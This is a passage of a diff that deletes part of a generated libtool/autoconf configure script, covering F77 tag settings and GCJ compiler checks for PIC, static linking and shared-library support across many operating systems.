-# Dependencies to place before the objects being linked to create a
-# shared library.
-predeps=$lt_predeps_F77
-
-# Dependencies to place after the objects being linked to create a
-# shared library.
-postdeps=$lt_postdeps_F77
-
-# The library search path used internally by the compiler when linking
-# a shared library.
-compiler_lib_search_path=$lt_compiler_lib_search_path_F77
-
-# Method to check whether dependent libraries are shared objects.
-deplibs_check_method=$lt_deplibs_check_method
-
-# Command to use when deplibs_check_method == file_magic.
-file_magic_cmd=$lt_file_magic_cmd
-
-# Flag that allows shared libraries with undefined symbols to be built.
-allow_undefined_flag=$lt_allow_undefined_flag_F77
-
-# Flag that forces no undefined symbols.
-no_undefined_flag=$lt_no_undefined_flag_F77
-
-# Commands used to finish a libtool library installation in a directory.
-finish_cmds=$lt_finish_cmds
-
-# Same as above, but a single script fragment to be evaled but not shown.
-finish_eval=$lt_finish_eval
-
-# Take the output of nm and produce a listing of raw symbols and C names.
-global_symbol_pipe=$lt_lt_cv_sys_global_symbol_pipe
-
-# Transform the output of nm in a proper C declaration
-global_symbol_to_cdecl=$lt_lt_cv_sys_global_symbol_to_cdecl
-
-# Transform the output of nm in a C name address pair
-global_symbol_to_c_name_address=$lt_lt_cv_sys_global_symbol_to_c_name_address
-
-# This is the shared library runtime path variable.
-runpath_var=$runpath_var
-
-# This is the shared library path variable.
-shlibpath_var=$shlibpath_var
-
-# Is shlibpath searched before the hard-coded library search path?
-shlibpath_overrides_runpath=$shlibpath_overrides_runpath
-
-# How to hardcode a shared library path into an executable.
-hardcode_action=$hardcode_action_F77
-
-# Whether we should hardcode library paths into libraries.
-hardcode_into_libs=$hardcode_into_libs
-
-# Flag to hardcode \$libdir into a binary during linking.
-# This must work even if \$libdir does not exist.
-hardcode_libdir_flag_spec=$lt_hardcode_libdir_flag_spec_F77
-
-# If ld is used when linking, flag to hardcode \$libdir into
-# a binary during linking. This must work even if \$libdir does
-# not exist.
-hardcode_libdir_flag_spec_ld=$lt_hardcode_libdir_flag_spec_ld_F77
-
-# Whether we need a single -rpath flag with a separated argument.
-hardcode_libdir_separator=$lt_hardcode_libdir_separator_F77
-
-# Set to yes if using DIR/libNAME${shared_ext} during linking hardcodes DIR into the
-# resulting binary.
-hardcode_direct=$hardcode_direct_F77
-
-# Set to yes if using the -LDIR flag during linking hardcodes DIR into the
-# resulting binary.
-hardcode_minus_L=$hardcode_minus_L_F77
-
-# Set to yes if using SHLIBPATH_VAR=DIR during linking hardcodes DIR into
-# the resulting binary.
-hardcode_shlibpath_var=$hardcode_shlibpath_var_F77
-
-# Set to yes if building a shared library automatically hardcodes DIR into the library
-# and all subsequent libraries and executables linked against it.
-hardcode_automatic=$hardcode_automatic_F77
-
-# Variables whose values should be saved in libtool wrapper scripts and
-# restored at relink time.
-variables_saved_for_relink="$variables_saved_for_relink"
-
-# Whether libtool must link a program against all its dependency libraries.
-link_all_deplibs=$link_all_deplibs_F77
-
-# Compile-time system search path for libraries
-sys_lib_search_path_spec=$lt_sys_lib_search_path_spec
-
-# Run-time system search path for libraries
-sys_lib_dlsearch_path_spec=$lt_sys_lib_dlsearch_path_spec
-
-# Fix the shell variable \$srcfile for the compiler.
-fix_srcfile_path="$fix_srcfile_path_F77"
-
-# Set to yes if exported symbols are required.
-always_export_symbols=$always_export_symbols_F77
-
-# The commands to list exported symbols.
-export_symbols_cmds=$lt_export_symbols_cmds_F77
-
-# The commands to extract the exported symbol list from a shared archive.
-extract_expsyms_cmds=$lt_extract_expsyms_cmds
-
-# Symbols that should not be listed in the preloaded symbols.
-exclude_expsyms=$lt_exclude_expsyms_F77
-
-# Symbols that must always be exported.
-include_expsyms=$lt_include_expsyms_F77
-
-# ### END LIBTOOL TAG CONFIG: $tagname
-
-__EOF__
-
-
-else
- # If there is no Makefile yet, we rely on a make rule to execute
- # `config.status --recheck' to rerun these tests and create the
- # libtool script then.
- ltmain_in=`echo $ltmain | sed -e 's/\.sh$/.in/'`
- if test -f "$ltmain_in"; then
- test -f Makefile && make "$ltmain"
- fi
-fi
-
-
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-CC="$lt_save_CC"
-
- else
- tagname=""
- fi
- ;;
-
- GCJ)
- if test -n "$GCJ" && test "X$GCJ" != "Xno"; then
-
-
-# Source file extension for Java test sources.
-ac_ext=java
-
-# Object file extension for compiled Java test sources.
-objext=o
-objext_GCJ=$objext
-
-# Code to be used in simple compile tests
-lt_simple_compile_test_code="class foo {}\n"
-
-# Code to be used in simple link tests
-lt_simple_link_test_code='public class conftest { public static void main(String[] argv) {}; }\n'
-
-# ltmain only uses $CC for tagged configurations so make sure $CC is set.
-
-# If no C compiler was specified, use CC.
-LTCC=${LTCC-"$CC"}
-
-# If no C compiler flags were specified, use CFLAGS.
-LTCFLAGS=${LTCFLAGS-"$CFLAGS"}
-
-# Allow CC to be a program name with arguments.
-compiler=$CC
-
-
-# save warnings/boilerplate of simple test code
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_compile_test_code" >conftest.$ac_ext
-eval "$ac_compile" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_compiler_boilerplate=`cat conftest.err`
-$rm conftest*
-
-ac_outfile=conftest.$ac_objext
-printf "$lt_simple_link_test_code" >conftest.$ac_ext
-eval "$ac_link" 2>&1 >/dev/null | $SED '/^$/d; /^ *+/d' >conftest.err
-_lt_linker_boilerplate=`cat conftest.err`
-$rm conftest*
-
-
-# Allow CC to be a program name with arguments.
-lt_save_CC="$CC"
-CC=${GCJ-"gcj"}
-compiler=$CC
-compiler_GCJ=$CC
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
-# GCJ did not exist at the time GCC didn't implicitly link libc in.
-archive_cmds_need_lc_GCJ=no
-
-old_archive_cmds_GCJ=$old_archive_cmds
-
-## CAVEAT EMPTOR:
-## There is no encapsulation within the following macros, do not change
-## the running order or otherwise move them around unless you know exactly
-## what you are doing...
-
-lt_prog_compiler_no_builtin_flag_GCJ=
-
-if test "$GCC" = yes; then
- lt_prog_compiler_no_builtin_flag_GCJ=' -fno-builtin'
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -fno-rtti -fno-exceptions" >&5
-$as_echo_n "checking if $compiler supports -fno-rtti -fno-exceptions... " >&6; }
-if ${lt_cv_prog_compiler_rtti_exceptions+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_rtti_exceptions=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="-fno-rtti -fno-exceptions"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_rtti_exceptions=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_rtti_exceptions" >&5
-$as_echo "$lt_cv_prog_compiler_rtti_exceptions" >&6; }
-
-if test x"$lt_cv_prog_compiler_rtti_exceptions" = xyes; then
- lt_prog_compiler_no_builtin_flag_GCJ="$lt_prog_compiler_no_builtin_flag_GCJ -fno-rtti -fno-exceptions"
-else
- :
-fi
-
-fi
-
-lt_prog_compiler_wl_GCJ=
-lt_prog_compiler_pic_GCJ=
-lt_prog_compiler_static_GCJ=
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $compiler option to produce PIC" >&5
-$as_echo_n "checking for $compiler option to produce PIC... " >&6; }
-
- if test "$GCC" = yes; then
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_static_GCJ='-static'
-
- case $host_os in
- aix*)
- # All AIX code is PIC.
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- amigaos*)
- # FIXME: we need at least 68020 code to build shared libraries, but
- # adding the `-m68020' flag to GCC prevents building anything better,
- # like `-m68040'.
- lt_prog_compiler_pic_GCJ='-m68020 -resident32 -malways-restore-a4'
- ;;
-
- beos* | cygwin* | irix5* | irix6* | nonstopux* | osf3* | osf4* | osf5*)
- # PIC is the default for these OSes.
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- darwin* | rhapsody*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- lt_prog_compiler_pic_GCJ='-fno-common'
- ;;
-
- interix3*)
- # Interix 3.x gcc -fpic/-fPIC options generate broken code.
- # Instead, we relocate shared libraries at runtime.
- ;;
-
- msdosdjgpp*)
- # Just because we use GCC doesn't mean we suddenly get shared libraries
- # on systems that don't support them.
- lt_prog_compiler_can_build_shared_GCJ=no
- enable_shared=no
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec; then
- lt_prog_compiler_pic_GCJ=-Kconform_pic
- fi
- ;;
-
- hpux*)
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- ;;
-
- *)
- lt_prog_compiler_pic_GCJ='-fPIC'
- ;;
- esac
- else
- # PORTME Check for flag to pass linker flags through the system compiler.
- case $host_os in
- aix*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- if test "$host_cpu" = ia64; then
- # AIX 5 now supports IA64 processor
- lt_prog_compiler_static_GCJ='-Bstatic'
- else
- lt_prog_compiler_static_GCJ='-bnso -bI:/lib/syscalls.exp'
- fi
- ;;
- darwin*)
- # PIC is the default on this platform
- # Common symbols not allowed in MH_DYLIB files
- case $cc_basename in
- xlc*)
- lt_prog_compiler_pic_GCJ='-qnocommon'
- lt_prog_compiler_wl_GCJ='-Wl,'
- ;;
- esac
- ;;
-
- mingw* | pw32* | os2*)
- # This hack is so that the source file can tell whether it is being
- # built for inclusion in a dll (and should export symbols for example).
- lt_prog_compiler_pic_GCJ='-DDLL_EXPORT'
- ;;
-
- hpux9* | hpux10* | hpux11*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC is the default for IA64 HP-UX and 64-bit HP-UX, but
- # not for PA HP-UX.
- case $host_cpu in
- hppa*64*|ia64*)
- # +Z the default
- ;;
- *)
- lt_prog_compiler_pic_GCJ='+Z'
- ;;
- esac
- # Is there a better lt_prog_compiler_static that works with the bundled CC?
- lt_prog_compiler_static_GCJ='${wl}-a ${wl}archive'
- ;;
-
- irix5* | irix6* | nonstopux*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # PIC (with -KPIC) is the default.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- newsos6)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- linux*)
- case $cc_basename in
- icc* | ecc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-static'
- ;;
- pgcc* | pgf77* | pgf90* | pgf95*)
- # Portland Group compilers (*not* the Pentium gcc compiler,
- # which looks to be a dead project)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-fpic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
- ccc*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All Alpha code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
- esac
- ;;
-
- osf3* | osf4* | osf5*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- # All OSF/1 code is PIC.
- lt_prog_compiler_static_GCJ='-non_shared'
- ;;
-
- solaris*)
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- case $cc_basename in
- f77* | f90* | f95*)
- lt_prog_compiler_wl_GCJ='-Qoption ld ';;
- *)
- lt_prog_compiler_wl_GCJ='-Wl,';;
- esac
- ;;
-
- sunos4*)
- lt_prog_compiler_wl_GCJ='-Qoption ld '
- lt_prog_compiler_pic_GCJ='-PIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4 | sysv4.2uw2* | sysv4.3*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- sysv4*MP*)
- if test -d /usr/nec ;then
- lt_prog_compiler_pic_GCJ='-Kconform_pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- fi
- ;;
-
- sysv5* | unixware* | sco3.2v5* | sco5v6* | OpenUNIX*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_pic_GCJ='-KPIC'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- unicos*)
- lt_prog_compiler_wl_GCJ='-Wl,'
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
-
- uts4*)
- lt_prog_compiler_pic_GCJ='-pic'
- lt_prog_compiler_static_GCJ='-Bstatic'
- ;;
-
- *)
- lt_prog_compiler_can_build_shared_GCJ=no
- ;;
- esac
- fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_GCJ" >&6; }
-
-#
-# Check to make sure the PIC flag actually works.
-#
-if test -n "$lt_prog_compiler_pic_GCJ"; then
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works" >&5
-$as_echo_n "checking if $compiler PIC flag $lt_prog_compiler_pic_GCJ works... " >&6; }
-if ${lt_prog_compiler_pic_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_pic_works_GCJ=no
- ac_outfile=conftest.$ac_objext
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
- lt_compiler_flag="$lt_prog_compiler_pic_GCJ"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- # The option is referenced via a variable to avoid confusing sed.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>conftest.err)
- ac_status=$?
- cat conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s "$ac_outfile"; then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings other than the usual output.
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' >conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if test ! -s conftest.er2 || diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_pic_works_GCJ=yes
- fi
- fi
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_pic_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_pic_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_pic_works_GCJ" = xyes; then
- case $lt_prog_compiler_pic_GCJ in
- "" | " "*) ;;
- *) lt_prog_compiler_pic_GCJ=" $lt_prog_compiler_pic_GCJ" ;;
- esac
-else
- lt_prog_compiler_pic_GCJ=
- lt_prog_compiler_can_build_shared_GCJ=no
-fi
-
-fi
-case $host_os in
- # For platforms which do not support PIC, -DPIC is meaningless:
- *djgpp*)
- lt_prog_compiler_pic_GCJ=
- ;;
- *)
- lt_prog_compiler_pic_GCJ="$lt_prog_compiler_pic_GCJ"
- ;;
-esac
-
-#
-# Check to make sure the static flag actually works.
-#
-wl=$lt_prog_compiler_wl_GCJ eval lt_tmp_static_flag=\"$lt_prog_compiler_static_GCJ\"
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler static flag $lt_tmp_static_flag works" >&5
-$as_echo_n "checking if $compiler static flag $lt_tmp_static_flag works... " >&6; }
-if ${lt_prog_compiler_static_works_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_prog_compiler_static_works_GCJ=no
- save_LDFLAGS="$LDFLAGS"
- LDFLAGS="$LDFLAGS $lt_tmp_static_flag"
- printf "$lt_simple_link_test_code" > conftest.$ac_ext
- if (eval $ac_link 2>conftest.err) && test -s conftest$ac_exeext; then
- # The linker can only warn and ignore the option if not recognized
- # So say no if there are warnings
- if test -s conftest.err; then
- # Append any errors to the config.log.
- cat conftest.err 1>&5
- $echo "X$_lt_linker_boilerplate" | $Xsed -e '/^$/d' > conftest.exp
- $SED '/^$/d; /^ *+/d' conftest.err >conftest.er2
- if diff conftest.exp conftest.er2 >/dev/null; then
- lt_prog_compiler_static_works_GCJ=yes
- fi
- else
- lt_prog_compiler_static_works_GCJ=yes
- fi
- fi
- $rm conftest*
- LDFLAGS="$save_LDFLAGS"
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_prog_compiler_static_works_GCJ" >&5
-$as_echo "$lt_prog_compiler_static_works_GCJ" >&6; }
-
-if test x"$lt_prog_compiler_static_works_GCJ" = xyes; then
- :
-else
- lt_prog_compiler_static_GCJ=
-fi
-
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking if $compiler supports -c -o file.$ac_objext" >&5
-$as_echo_n "checking if $compiler supports -c -o file.$ac_objext... " >&6; }
-if ${lt_cv_prog_compiler_c_o_GCJ+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- lt_cv_prog_compiler_c_o_GCJ=no
- $rm -r conftest 2>/dev/null
- mkdir conftest
- cd conftest
- mkdir out
- printf "$lt_simple_compile_test_code" > conftest.$ac_ext
-
- lt_compiler_flag="-o out/conftest2.$ac_objext"
- # Insert the option either (1) after the last *FLAGS variable, or
- # (2) before a word containing "conftest.", or (3) at the end.
- # Note that $ac_compile itself does not contain backslashes and begins
- # with a dollar sign (not a hyphen), so the echo should work correctly.
- lt_compile=`echo "$ac_compile" | $SED \
- -e 's:.*FLAGS}\{0,1\} :&$lt_compiler_flag :; t' \
- -e 's: [^ ]*conftest\.: $lt_compiler_flag&:; t' \
- -e 's:$: $lt_compiler_flag:'`
- (eval echo "\"\$as_me:__oline__: $lt_compile\"" >&5)
- (eval "$lt_compile" 2>out/conftest.err)
- ac_status=$?
- cat out/conftest.err >&5
- echo "$as_me:__oline__: \$? = $ac_status" >&5
- if (exit $ac_status) && test -s out/conftest2.$ac_objext
- then
- # The compiler can only warn and ignore the option if not recognized
- # So say no if there are warnings
- $echo "X$_lt_compiler_boilerplate" | $Xsed -e '/^$/d' > out/conftest.exp
- $SED '/^$/d; /^ *+/d' out/conftest.err >out/conftest.er2
- if test ! -s out/conftest.er2 || diff out/conftest.exp out/conftest.er2 >/dev/null; then
- lt_cv_prog_compiler_c_o_GCJ=yes
- fi
- fi
- chmod u+w . 2>&5
- $rm conftest*
- # SGI C++ compiler will create directory out/ii_files/ for
- # template instantiation
- test -d out/ii_files && $rm out/ii_files/* && rmdir out/ii_files
- $rm out/* && rmdir out
- cd ..
- rmdir conftest
- $rm conftest*
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_prog_compiler_c_o_GCJ" >&5
-$as_echo "$lt_cv_prog_compiler_c_o_GCJ" >&6; }
-
-
-hard_links="nottested"
-if test "$lt_cv_prog_compiler_c_o_GCJ" = no && test "$need_locks" != no; then
- # do not overwrite the value of need_locks provided by the user
- { $as_echo "$as_me:${as_lineno-$LINENO}: checking if we can lock with hard links" >&5
-$as_echo_n "checking if we can lock with hard links... " >&6; }
- hard_links=yes
- $rm conftest*
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- touch conftest.a
- ln conftest.a conftest.b 2>&5 || hard_links=no
- ln conftest.a conftest.b 2>/dev/null && hard_links=no
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $hard_links" >&5
-$as_echo "$hard_links" >&6; }
- if test "$hard_links" = no; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&5
-$as_echo "$as_me: WARNING: \`$CC' does not support \`-c -o', so \`make -j' may be unsafe" >&2;}
- need_locks=warn
- fi
-else
- need_locks=no
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the $compiler linker ($LD) supports shared libraries" >&5
-$as_echo_n "checking whether the $compiler linker ($LD) supports shared libraries... " >&6; }
-
- runpath_var=
- allow_undefined_flag_GCJ=
- enable_shared_with_static_runtimes_GCJ=no
- archive_cmds_GCJ=
- archive_expsym_cmds_GCJ=
- old_archive_From_new_cmds_GCJ=
- old_archive_from_expsyms_cmds_GCJ=
- export_dynamic_flag_spec_GCJ=
- whole_archive_flag_spec_GCJ=
- thread_safe_flag_spec_GCJ=
- hardcode_libdir_flag_spec_GCJ=
- hardcode_libdir_flag_spec_ld_GCJ=
- hardcode_libdir_separator_GCJ=
- hardcode_direct_GCJ=no
- hardcode_minus_L_GCJ=no
- hardcode_shlibpath_var_GCJ=unsupported
- link_all_deplibs_GCJ=unknown
- hardcode_automatic_GCJ=no
- module_cmds_GCJ=
- module_expsym_cmds_GCJ=
- always_export_symbols_GCJ=no
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED '\''s/.* //'\'' | sort | uniq > $export_symbols'
- # include_expsyms should be a list of space-separated symbols to be *always*
- # included in the symbol list
- include_expsyms_GCJ=
- # exclude_expsyms can be an extended regexp of symbols to exclude
- # it will be wrapped by ` (' and `)$', so one must not match beginning or
- # end of line. Example: `a|bc|.*d.*' will exclude the symbols `a' and `bc',
- # as well as any symbol that contains `d'.
- exclude_expsyms_GCJ="_GLOBAL_OFFSET_TABLE_"
- # Although _GLOBAL_OFFSET_TABLE_ is a valid symbol C name, most a.out
- # platforms (ab)use it in PIC code, but their linkers get confused if
- # the symbol is explicitly referenced. Since portable code cannot
- # rely on this symbol name, it's probably fine to never include it in
- # preloaded symbol tables.
- extract_expsyms_cmds=
- # Just being paranoid about ensuring that cc_basename is set.
- for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
- case $host_os in
- cygwin* | mingw* | pw32*)
- # FIXME: the MSVC++ port hasn't been tested in a loooong time
- # When not using gcc, we currently assume that we are using
- # Microsoft Visual C++.
- if test "$GCC" != yes; then
- with_gnu_ld=no
- fi
- ;;
- interix*)
- # we just hope/assume this is gcc and not c89 (= MSVC++)
- with_gnu_ld=yes
- ;;
- openbsd*)
- with_gnu_ld=no
- ;;
- esac
-
- ld_shlibs_GCJ=yes
- if test "$with_gnu_ld" = yes; then
- # If archive_cmds runs LD, not CC, wlarc should be empty
- wlarc='${wl}'
-
- # Set some defaults for GNU ld with shared library support. These
- # are reset later if shared libraries are not supported. Putting them
- # here allows them to be overridden if necessary.
- runpath_var=LD_RUN_PATH
- hardcode_libdir_flag_spec_GCJ='${wl}--rpath ${wl}$libdir'
- export_dynamic_flag_spec_GCJ='${wl}--export-dynamic'
- # ancient GNU ld didn't support --whole-archive et. al.
- if $LD --help 2>&1 | grep 'no-whole-archive' > /dev/null; then
- whole_archive_flag_spec_GCJ="$wlarc"'--whole-archive$convenience '"$wlarc"'--no-whole-archive'
- else
- whole_archive_flag_spec_GCJ=
- fi
- supports_anon_versioning=no
- case `$LD -v 2>/dev/null` in
- *\ [01].* | *\ 2.[0-9].* | *\ 2.10.*) ;; # catch versions < 2.11
- *\ 2.11.93.0.2\ *) supports_anon_versioning=yes ;; # RH7.3 ...
- *\ 2.11.92.0.12\ *) supports_anon_versioning=yes ;; # Mandrake 8.2 ...
- *\ 2.11.*) ;; # other 2.11 versions
- *) supports_anon_versioning=yes ;;
- esac
-
- # See if GNU ld supports shared libraries.
- case $host_os in
- aix3* | aix4* | aix5*)
- # On AIX/PPC, the GNU linker is very broken
- if test "$host_cpu" != ia64; then
- ld_shlibs_GCJ=no
- cat <<EOF 1>&2
-
-*** Warning: the GNU linker, at least up to release 2.9.1, is reported
-*** to be unable to reliably create shared libraries on AIX.
-*** Therefore, libtool is disabling shared libraries support. If you
-*** really care for shared libraries, you may want to modify your PATH
-*** so that a non-GNU linker is found, and then restart.
-
-EOF
- fi
- ;;
-
- amigaos*)
- archive_cmds_GCJ='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)'
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- hardcode_minus_L_GCJ=yes
-
- # Samuel A. Falvo II <kc5tja@dolphin.openprojects.net> reports
- # that the semantics of dynamic libraries on AmigaOS, at least up
- # to version 4, is to share data among multiple programs linked
- # with the same dynamic library. Since this doesn't match the
- # behavior of shared libraries on other platforms, we can't use
- # them.
- ld_shlibs_GCJ=no
- ;;
-
- beos*)
- if $LD --help 2>&1 | grep ': supported targets:.* elf' > /dev/null; then
- allow_undefined_flag_GCJ=unsupported
- # Joseph Beckenbach <jrb3@best.com> says some releases of gcc
- # support --undefined. This deserves some investigation. FIXME
- archive_cmds_GCJ='$CC -nostart $libobjs $deplibs $compiler_flags ${wl}-soname $wl$soname -o $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- cygwin* | mingw* | pw32*)
- # _LT_AC_TAGVAR(hardcode_libdir_flag_spec, GCJ) is actually meaningless,
- # as there is no search path for DLLs.
- hardcode_libdir_flag_spec_GCJ='-L$libdir'
- allow_undefined_flag_GCJ=unsupported
- always_export_symbols_GCJ=no
- enable_shared_with_static_runtimes_GCJ=yes
- export_symbols_cmds_GCJ='$NM $libobjs $convenience | $global_symbol_pipe | $SED -e '\''/^[BCDGRS] /s/.* \([^ ]*\)/\1 DATA/'\'' | $SED -e '\''/^[AITW] /s/.* //'\'' | sort | uniq > $export_symbols'
-
- if $LD --help 2>&1 | grep 'auto-import' > /dev/null; then
- archive_cmds_GCJ='$CC -shared $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- # If the export-symbols file already is a .def file (1st line
- # is EXPORTS), use it as is; otherwise, prepend...
- archive_expsym_cmds_GCJ='if test "x`$SED 1q $export_symbols`" = xEXPORTS; then
- cp $export_symbols $output_objdir/$soname.def;
- else
- echo EXPORTS > $output_objdir/$soname.def;
- cat $export_symbols >> $output_objdir/$soname.def;
- fi~
- $CC -shared $output_objdir/$soname.def $libobjs $deplibs $compiler_flags -o $output_objdir/$soname ${wl}--enable-auto-image-base -Xlinker --out-implib -Xlinker $lib'
- else
- ld_shlibs_GCJ=no
- fi
- ;;
-
- interix3*)
- hardcode_direct_GCJ=no
- hardcode_shlibpath_var_GCJ=no
- hardcode_libdir_flag_spec_GCJ='${wl}-rpath,$libdir'
- export_dynamic_flag_spec_GCJ='${wl}-E'
- # Hack: On Interix 3.x, we cannot compile PIC because of a broken gcc.
- # Instead, shared libraries are loaded at an image base (0x10000000 by
- # default) and relocated if they conflict, which is a slow very memory
- # consuming and fragmenting process. To avoid this, we pick a random,
- # 256 KiB-aligned image base between 0x50000000 and 0x6FFC0000 at link
- # time. Moving up from 0x10000000 also allows more sbrk(2) space.
